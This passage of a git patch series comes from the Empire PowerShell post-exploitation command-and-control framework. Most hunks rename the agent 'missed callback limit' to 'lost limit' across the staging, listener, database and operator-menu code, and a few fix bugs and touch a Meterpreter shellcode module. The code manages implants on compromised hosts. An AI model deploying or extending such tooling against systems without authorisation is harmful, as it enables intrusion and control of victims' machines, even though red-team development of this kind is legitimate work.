(name,session_id,delay,jitter,external_ip,session_key,checkin_time,lastseen_time,uris,user_agent,headers,kill_date,working_hours,missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID,sessionID,delay,jitter,externalIP,sessionKey,checkinTime,lastSeenTime,requestUris,userAgent,additionalHeaders,killDate,workingHours,missedCBLimit)) + cur.execute("INSERT INTO agents (name,session_id,delay,jitter,external_ip,session_key,checkin_time,lastseen_time,uris,user_agent,headers,kill_date,working_hours,lost_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID,sessionID,delay,jitter,externalIP,sessionKey,checkinTime,lastSeenTime,requestUris,userAgent,additionalHeaders,killDate,workingHours,lostLimit)) cur.close() # initialize the tasking/result buffers along with the client session key @@ -1052,7 +1052,7 @@ class Agents: dispatcher.send("[*] Sending stager (stage 1) to "+str(clientIP), sender="Agents") # get the staging information for the given listener, keyed by port - # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,istener_type,redirect_target,missed_cb_limit + # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,istener_type,redirect_target,lost_limit config = self.listeners.get_staging_information(port=port) host = config[0] stagingkey = config[3] @@ -1155,7 +1155,7 @@ class Agents: dispatcher.send("[*] Agent "+str(sessionID)+" from "+str(clientIP)+" posted to public key URI", sender="Agents") # get the staging key for the given listener, keyed by port - # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,missed_cb_limit + # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,lost_limit stagingKey = self.listeners.get_staging_information(port=port)[3] # decrypt the agent's public key @@ -1187,10 +1187,10 @@ class Agents: profile = config[6] killDate = config[7] workingHours = config[8] - missedCBLimit = config[11] + lostLimit = config[11] # add the agent to the database now that it's "checked in" - self.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours,missedCBLimit) + self.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours,lostLimit) # step 4 of negotiation -> return epoch+aes_session_key clientSessionKey = self.get_agent_session_key(sessionID) @@ -1219,7 +1219,7 @@ class Agents: decoded = helpers.decode_base64(parts[1]) # get the staging key for the given listener, keyed by port - # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,missed_cb_limit + # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,lost_limit config = self.listeners.get_staging_information(host=decoded) else: @@ -1230,7 +1230,7 @@ class Agents: profile = config[6] killDate = config[7] workingHours = config[8] - missedCBLimit = config[11] + lostLimit = config[11] # get the session key for the agent sessionKey = self.agents[sessionID][0] @@ -1274,7 +1274,7 @@ class Agents: dispatcher.send("[*] Sending agent (stage 2) to "+str(sessionID)+" at "+clientIP, sender="Agents") # step 6 of negotiation -> server sends patched agent.ps1 - agentCode = self.stagers.generate_agent(delay, jitter, profile, killDate,workingHours,missedCBLimit) + agentCode = self.stagers.generate_agent(delay, jitter, profile, killDate,workingHours,lostLimit) username = str(domainname)+"\\"+str(username) @@ -1291,7 +1291,7 @@ class Agents: # set basic initial information to display for the agent agent = self.mainMenu.agents.get_agent(sessionID) - keys = ["ID", "sessionID", "listener", "name", "delay", "jitter","missed_cb_limit","external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version"] + keys = ["ID", "sessionID", "listener", "name", "delay", "jitter","lost_limit","external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version"] agentInfo = dict(zip(keys, agent)) for key in agentInfo: diff --git a/lib/common/empire.py b/lib/common/empire.py index f10e93c..dda9b67 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -776,8 +776,8 @@ class AgentsMenu(cmd.Cmd): else: print helpers.color("[!] Invalid agent name") - def do_changelostlimit(self, line): - "Task one or more agents to 'changemisslimit [agent/all] <#ofCBs> '" + def do_lostlimit(self, line): + "Task one or more agents to 'lostlimit [agent/all] <#ofCBs> '" parts = line.strip().split(" ") @@ -785,32 +785,32 @@ class AgentsMenu(cmd.Cmd): print helpers.color("[!] Please enter a valid '#ofCBs'") elif parts[0].lower() == "all": - MissedCBLimit = parts[1] + lostLimit = parts[1] agents = self.mainMenu.agents.get_agents() for agent in agents: sessionID = agent[1] # update this agent info in the database - self.mainMenu.agents.set_agent_field("missed_cb_limit", MissedCBLimit, sessionID) + self.mainMenu.agents.set_agent_field("lost_limit", lostLimit, sessionID) # task the agent - self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-MissedCBLimit " + str(MissedCBLimit)) + self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-LostLimit " + str(lostLimit)) # update the agent log - msg = "Tasked agent to change callback limit " + str(MissedCBLimit) + msg = "Tasked agent to change lost limit " + str(lostLimit) self.mainMenu.agents.save_agent_log(sessionID, msg) else: # extract the sessionID and clear the agent tasking sessionID = self.mainMenu.agents.get_agent_id(parts[0]) - MissedCBLimit = parts[1] + lostLimit = parts[1] if sessionID and len(sessionID) != 0: # update this agent's information in the database - self.mainMenu.agents.set_agent_field("missed_cb_limit", MissedCBLimit, sessionID) + self.mainMenu.agents.set_agent_field("lost_limit", lostLimit, sessionID) - self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-MissedCBLimit " + str(MissedCBLimit)) + self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-LostLimit " + str(lostLimit)) # update the agent log - msg = "Tasked agent to change callback limit " + str(MissedCBLimit) + msg = "Tasked agent to change lost limit " + str(lostLimit) self.mainMenu.agents.save_agent_log(sessionID, msg) else: @@ -1020,8 +1020,8 @@ class AgentsMenu(cmd.Cmd): return self.complete_clear(text, line, begidx, endidx) - def complete_changelostlimit(self, text, line, begidx, endidx): - "Tab-complete a sleep command" + def complete_lostlimit(self, text, line, begidx, endidx): + "Tab-complete a lostlimit command" return self.complete_clear(text, line, begidx, endidx) @@ -1228,19 +1228,18 @@ class AgentMenu(cmd.Cmd): msg = "Tasked agent to delay sleep/jitter " + str(delay) + "/" + str(jitter) self.mainMenu.agents.save_agent_log(self.sessionID, msg) - def do_changelostlimit(self, line): - "Task an agent to change the limit on missed CBs" + def do_lostlimit(self, line): + "Task an agent to change the limit on lost agent detection" parts = line.strip().split(" ") if len(parts) > 0 and parts[0] != "": - MissedCBLimit = parts[0] + lostLimit = parts[0] # update this agent's information in the database - self.mainMenu.agents.set_agent_field("missed_cb_limit", MissedCBLimit, self.sessionID) - - self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", "Set-MissedCBLimit " + str(MissedCBLimit)) + self.mainMenu.agents.set_agent_field("lost_limit", lostLimit, self.sessionID) + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", "Set-LostLimit " + str(lostLimit)) # update the agent log - msg = "Tasked agent to change callback limit " + str(MissedCBLimit) + msg = "Tasked agent to change lost limit " + str(lostLimit) self.mainMenu.agents.save_agent_log(self.sessionID, msg) diff --git a/lib/common/http.py b/lib/common/http.py index df55079..1620a15 100644 --- a/lib/common/http.py +++ b/lib/common/http.py @@ -19,6 +19,7 @@ import encryption import helpers +#TODO: place this in a config def default_page(): """ Returns the default page for this server. diff --git a/lib/common/listeners.py b/lib/common/listeners.py index c9cc895..d8a869a 100644 --- a/lib/common/listeners.py +++ b/lib/common/listeners.py @@ -42,7 +42,7 @@ class Listeners: # set the initial listener config to be the config defaults self.conn.row_factory = dict_factory cur = self.conn.cursor() - cur.execute("SELECT staging_key,default_delay,default_jitter,default_profile,default_cert_path,default_port,default_missed_cb_limit FROM config") + cur.execute("SELECT staging_key,default_delay,default_jitter,default_profile,default_cert_path,default_port,default_lost_limit FROM config") defaults = cur.fetchone() cur.close() self.conn.row_factory = None @@ -84,10 +84,10 @@ class Listeners: 'Required' : True, 'Value' : defaults['default_jitter'] }, - 'DefaultMissedCBLimit' : { - 'Description' : 'Number of missed callbacks before exiting', + 'DefaultLostLimit' : { + 'Description' : 'Number of missed checkins before exiting', 'Required' : True, - 'Value' : defaults['default_missed_cb_limit'] + 'Value' : defaults['default_lost_limit'] }, 'DefaultProfile' : { 'Description' : 'Default communication profile for the agent.', @@ -123,7 +123,7 @@ class Listeners: """ cur = self.conn.cursor() - cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners") + cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners") results = cur.fetchall() cur.close() @@ -276,7 +276,7 @@ class Listeners: try: # get the listener information - [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit] = self.get_listener(listenerId) + [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = self.get_listener(listenerId) listenerId = int(ID) @@ -310,7 +310,7 @@ class Listeners: if nameid : listenerId = nameid cur = self.conn.cursor() - cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE id=?", [listenerId]) + cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners WHERE id=?", [listenerId]) listener = cur.fetchone() cur.close() @@ -404,20 +404,20 @@ class Listeners: if(listenerId): cur = self.conn.cursor() - cur.execute('SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE id=? or name=? limit 1', [listenerID, listenerID]) + cur.execute('SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners WHERE id=? or name=? limit 1', [listenerID, listenerID]) stagingInformation = cur.fetchone() cur.close() elif(port): cur = self.conn.cursor() - cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE port=?", [port]) + cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners WHERE port=?", [port]) stagingInformation = cur.fetchone() cur.close() # used to get staging info for hop.php relays elif(host): cur = self.conn.cursor() - cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE host=?", [host]) + cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners WHERE host=?", [host]) stagingInformation = cur.fetchone() cur.close() @@ -516,7 +516,7 @@ class Listeners: workingHours = self.options['WorkingHours']['Value'] listenerType = self.options['Type']['Value'] redirectTarget = self.options['RedirectTarget']['Value'] - defaultMissedCBLimit = self.options['DefaultMissedCBLimit']['Value'] + defaultLostLimit = self.options['DefaultLostLimit']['Value'] # validate all of the options if self.validate_listener_options(): @@ -543,7 +543,7 @@ class Listeners: return False cur = self.conn.cursor() - results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target,default_missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget,defaultMissedCBLimit] ) + results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target,default_lost_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget,defaultLostLimit] ) # get the ID for the listener cur.execute("SELECT id FROM listeners where name=?", [name]) @@ -564,7 +564,7 @@ class Listeners: # add the listener to the database if start up cur = self.conn.cursor() - results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target, default_missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget,defaultMissedCBLimit] ) + results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target, default_lost_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget,defaultLostLimit] ) # get the ID for the listener cur.execute("SELECT id FROM listeners where name=?", [name]) @@ -599,7 +599,7 @@ class Listeners: else: # get the existing listener options - [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,defaultMissedCBLimit] = self.get_listener(listenerName) + [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,defaultLostLimit] = self.get_listener(listenerName) cur = self.conn.cursor() @@ -610,7 +610,7 @@ class Listeners: pivotHost += internalIP + ":" + str(listenPort) # insert the pivot listener with name=sessionID for the pivot agent - cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target,default_missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [sessionID, pivotHost, listenPort, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, "pivot", name,defaultMissedCBLimit] ) + cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target,default_lost_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", [sessionID, pivotHost, listenPort, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, "pivot", name,defaultLostLimit] ) # get the ID for the listener cur.execute("SELECT id FROM listeners where name=?", [sessionID]) diff --git a/lib/common/messages.py b/lib/common/messages.py index 3c3e2f1..d6bda7d 100644 --- a/lib/common/messages.py +++ b/lib/common/messages.py @@ -126,7 +126,7 @@ def display_agents(agents): print " --------- ----------- ------------ --------- ------- ----- --------------------" for agent in agents: - [ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, missed_cb_limit] = agent + [ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, lost_limit] = agent if str(high_integrity) == "1": # add a * to the username if it's high integrity username = "*" + username @@ -146,7 +146,7 @@ def display_agent(agent): """ # extract out database fields. - keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version", "MissedCBLimit"] + keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version", "lost_limit"] print helpers.color("\n[*] Agent info:\n") @@ -173,7 +173,7 @@ def display_listeners(listeners): for listener in listeners: - [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit] = listener + [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = listener if not host.startswith("http"): if cert_path and cert_path != "": @@ -196,15 +196,15 @@ def display_listener(options): """ print "\nListener Options:\n" - print " Name Required Value Description" - print " ---- -------- ------- -----------" + print " Name Required Value Description" + print " ---- -------- ------- -----------" for option,values in options.iteritems(): # if there's a long value length, wrap it if len(str(values['Value'])) > 33: - print " %s%s%s" % ('{0: <15}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(wrap_string(values['Value'], width=32, indent=29, followingHeader=values['Description']))) + print " %s%s%s" % ('{0: <18}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(wrap_string(values['Value'], width=32, indent=32, followingHeader=values['Description']))) else: - print " %s%s%s%s" % ('{0: <15}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(values['Value']), values['Description']) + print " %s%s%s%s" % ('{0: <18}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(values['Value']), values['Description']) print "\n" @@ -216,7 +216,7 @@ def display_listener_database(listener): Transforms the tuple set to an options dictionary and calls display_listener(). """ - [ID,name,host,port,certPath,stagingKey,defaultDelay,defaultJitter,defaultProfile,killDate,workingHours,listenerType,redirectTarget, defaultMissedCBLimit] = listener + [ID,name,host,port,certPath,stagingKey,defaultDelay,defaultJitter,defaultProfile,killDate,workingHours,listenerType,redirectTarget, defaultLostLimit] = listener options = { 'ID' : { @@ -259,8 +259,8 @@ def display_listener_database(listener): 'Required' : True, 'Value' : '' }, - 'DefaultMissedCBLimit' : { - 'Description' : 'Number of missed callbacks before exiting', + 'DefaultLostLimit' : { + 'Description' : 'Number of missed checkins before exiting', 'Required' : True, 'Value' : '' }, @@ -304,7 +304,7 @@ def display_listener_database(listener): options['WorkingHours']['Value'] = workingHours options['Type']['Value'] = listenerType options['RedirectTarget']['Value'] = redirectTarget - options['DefaultMissedCBLimit']['Value'] = defaultMissedCBLimit + options['DefaultLostLimit']['Value'] = defaultLostLimit display_listener(options) diff --git a/lib/common/stagers.py b/lib/common/stagers.py index 3899de5..733b78c 100644 --- a/lib/common/stagers.py +++ b/lib/common/stagers.py @@ -10,6 +10,7 @@ import http import helpers import encryption import os +import base64 class Stagers: @@ -163,7 +164,7 @@ class Stagers: return randomizedStager - def generate_agent(self, delay, jitter, profile, killDate, workingHours, missedCBLimit): + def generate_agent(self, delay, jitter, profile, killDate, workingHours, lostLimit): """ Generate "standard API" functionality, i.e. the actual agent.ps1 that runs. @@ -175,12 +176,14 @@ class Stagers: # strip out comments and blank lines code = helpers.strip_powershell_comments(code) + b64DefaultPage = base64.b64encode(http.default_page()) - # patch in the delay, jitter, missed CB limit, and comms profile + # patch in the delay, jitter, lost limit, and comms profile code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay)) code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter)) code = code.replace('$Profile = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"") - code = code.replace('$MissedCBLimit = 60', "$MissedCBLimit = " + str(missedCBLimit)) + code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit)) + code = code.replace('$DefaultPage = ""', '$DefaultPage = "'+b64DefaultPage+'"') # patch in the killDate and workingHours if they're specified if killDate != "": diff --git a/setup/setup_database.py b/setup/setup_database.py index c9af8bb..fcceede 100755 --- a/setup/setup_database.py +++ b/setup/setup_database.py @@ -62,7 +62,7 @@ IP_WHITELIST = "" IP_BLACKLIST = "" #number of times an agent will call back without an answer prior to exiting -DEFAULT_MISSED_CB_LIMIT = 60 +DEFAULT_LOST_LIMIT = 60 @@ -94,11 +94,11 @@ c.execute('''CREATE TABLE config ( "server_version" text, "ip_whitelist" text, "ip_blacklist" text, - "default_missed_cb_limit" integer + "default_lost_limit" integer )''') # kick off the config component of the database -c.execute("INSERT INTO config VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (STAGING_KEY,STAGE0_URI,STAGE1_URI,STAGE2_URI,DEFAULT_DELAY,DEFAULT_JITTER,DEFAULT_PROFILE,DEFAULT_CERT_PATH,DEFAULT_PORT,INSTALL_PATH,SERVER_VERSION,IP_WHITELIST,IP_BLACKLIST, DEFAULT_MISSED_CB_LIMIT)) +c.execute("INSERT INTO config VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (STAGING_KEY,STAGE0_URI,STAGE1_URI,STAGE2_URI,DEFAULT_DELAY,DEFAULT_JITTER,DEFAULT_PROFILE,DEFAULT_CERT_PATH,DEFAULT_PORT,INSTALL_PATH,SERVER_VERSION,IP_WHITELIST,IP_BLACKLIST, DEFAULT_LOST_LIMIT)) c.execute('''CREATE TABLE "agents" ( "id" integer PRIMARY KEY, @@ -129,7 +129,7 @@ c.execute('''CREATE TABLE "agents" ( "kill_date" text, "working_hours" text, "ps_version" text, - "missed_cb_limit" integer + "lost_limit" integer )''') c.execute('''CREATE TABLE "listeners" ( @@ -146,7 +146,7 @@ c.execute('''CREATE TABLE "listeners" ( "working_hours" text, "listener_type" text, "redirect_target" text, - "default_missed_cb_limit" integer + "default_lost_limit" integer )''') # type = hash, plaintext, token From 394fe3c5b594a6ec4e67f38b5228071267d761ae Mon Sep 17 00:00:00 2001 From: Rohan Vazarkar Date: Tue, 11 Aug 2015 13:05:58 -0400 Subject: [PATCH 04/26] Updated title credits to include enigma0x3 --- lib/common/messages.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/common/messages.py b/lib/common/messages.py index 6644699..ff3c682 100644 --- a/lib/common/messages.py +++ b/lib/common/messages.py @@ -23,11 +23,11 @@ def title(version): Print the tool title, with version. """ os.system('clear') - print "=========================================================================" + print "====================================================================================" print " Empire: PowerShell post-exploitation agent | [Version]: " + version - print '=========================================================================' - print ' [Web]: https://www.PowerShellEmpire.com/ | [Twitter]: @harmj0y, @sixdub' - print '=========================================================================' + print '====================================================================================' + print ' [Web]: https://www.PowerShellEmpire.com/ | [Twitter]: @harmj0y, @sixdub, @enigma0x3' + print '====================================================================================' print """ _______ .___ ___. .______ __ .______ _______ | ____|| \/ | | _ \ | | | _ \ | ____| From e6196e9b0c422deb4122f6ac94005b442011e07c Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Tue, 11 Aug 2015 13:33:26 -0400 Subject: [PATCH 05/26] Few bug fixes for the LostAgentDetection code. --- lib/common/agents.py | 4 ++-- lib/common/empire.py | 2 +- lib/common/listeners.py | 2 +- lib/modules/code_execution/invoke_shellcode.py | 2 +- lib/modules/management/redirector.py | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/common/agents.py b/lib/common/agents.py index d64e446..b4e6789 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -1180,7 +1180,7 @@ class Agents: epoch = packets.get_counter() # get the staging key for the given listener, keyed by port - # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours + # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit config = self.listeners.get_staging_information(port=port) delay = config[4] jitter = config[5] @@ -1291,7 +1291,7 @@ class Agents: # set basic initial information to display for the agent agent = self.mainMenu.agents.get_agent(sessionID) - keys = ["ID", "sessionID", "listener", "name", "delay", "jitter","lost_limit","external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version"] + keys = ["ID", "sessionID", "listener", "name", "delay", "jitter","lost_limit","external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version", "lost_limit"] agentInfo = dict(zip(keys, agent)) for key in agentInfo: diff --git a/lib/common/empire.py b/lib/common/empire.py index dda9b67..d72775b 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -1989,7 +1989,7 @@ class ListenerMenu(cmd.Cmd): elif line.split(" ")[1].lower() == "type": # if we're tab-completing the listener type - listenerTypes = ["native", "pivot", "hop", "foreign"] + listenerTypes = ["native", "pivot", "hop", "foreign", "meter"] endLine = " ".join(line.split(" ")[1:]) mline = endLine.partition(' ')[2] offs = len(mline) - len(text) diff --git a/lib/common/listeners.py b/lib/common/listeners.py index d8a869a..c2351fe 100644 --- a/lib/common/listeners.py +++ b/lib/common/listeners.py @@ -131,7 +131,7 @@ class Listeners: for result in results: # don't start the listener unless it's a native one - if result[-2] != "native": + if result[11] != "native": self.listeners[result[0]] = None else: diff --git a/lib/modules/code_execution/invoke_shellcode.py b/lib/modules/code_execution/invoke_shellcode.py index 7996ab9..7bd66e7 100644 --- a/lib/modules/code_execution/invoke_shellcode.py +++ b/lib/modules/code_execution/invoke_shellcode.py @@ -113,7 +113,7 @@ class Module: print helpers.color("[!] Meterpreter/Beacon listener required!") return "" - [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = self.mainMenu.listeners.get_listener(listenerName) + [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = self.mainMenu.listeners.get_listener(listenerName) MSFpayload = "reverse_http" if "https" in host: diff --git a/lib/modules/management/redirector.py b/lib/modules/management/redirector.py index d948c52..d8a5d8f 100644 --- a/lib/modules/management/redirector.py +++ b/lib/modules/management/redirector.py @@ -164,7 +164,7 @@ Invoke-Redirector""" else: listenerName = values['Value'] # get the listener options and set them for the script - [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = self.mainMenu.listeners.get_listener(values['Value']) + [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = self.mainMenu.listeners.get_listener(values['Value']) script += " -ConnectHost " + str(host) elif option.lower() != "agent": From 6b07e460bd0cea690d5c1efec649e798c7317c64 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Tue, 11 Aug 2015 13:43:53 -0400 Subject: [PATCH 06/26] Fixed agent.log output bug with new lostlimit logic. --- lib/common/agents.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/common/agents.py b/lib/common/agents.py index b4e6789..b5b24d9 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -1291,7 +1291,8 @@ class Agents: # set basic initial information to display for the agent agent = self.mainMenu.agents.get_agent(sessionID) - keys = ["ID", "sessionID", "listener", "name", "delay", "jitter","lost_limit","external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version", "lost_limit"] + keys = ["ID", "sessionID", "listener", "name", "delay", "jitter","external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version", "lost_limit"] + agentInfo = dict(zip(keys, agent)) for key in agentInfo: From 3cec31a4b7bfdd7da128d68174829b0c30af528c Mon Sep 17 00:00:00 2001 From: enigma0x3 Date: Tue, 11 Aug 2015 14:01:38 -0400 Subject: [PATCH 07/26] Update changelog --- changelog | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/changelog b/changelog index da2cb74..8c46e10 100644 --- a/changelog +++ b/changelog @@ -1,3 +1,8 @@ +8/11/2015 +--------- +-Merged in Lost Agent Detection + + 8/10/2015 --------- -Fixed tab completion of usestager module From 39d4684e00e89864959c3bf784f33855f72c8ea4 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Tue, 11 Aug 2015 21:48:21 -0400 Subject: [PATCH 08/26] "agents> remove X" now removes agents that checked in > X minutes ago --- changelog | 2 +- lib/common/empire.py | 26 +++++++++++++++++++++++++- 2 files changed, 26 insertions(+), 2 deletions(-) diff --git a/changelog b/changelog index 8c46e10..40cc231 100644 --- a/changelog +++ b/changelog @@ -1,7 +1,7 @@ 8/11/2015 --------- -Merged in Lost Agent Detection - +-"agents> remove X" now removes agents that checked in > X minutes ago 8/10/2015 --------- diff --git a/lib/common/empire.py b/lib/common/empire.py index d72775b..862da14 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -776,6 +776,7 @@ class AgentsMenu(cmd.Cmd): else: print helpers.color("[!] Invalid agent name") + def do_lostlimit(self, line): "Task one or more agents to 'lostlimit [agent/all] <#ofCBs> '" @@ -816,6 +817,7 @@ class AgentsMenu(cmd.Cmd): else: print helpers.color("[!] Invalid agent name") + def do_killdate(self, line): "Set the killdate for one or more agents (killdate [agent/all] 01/01/2016)." @@ -911,8 +913,29 @@ class 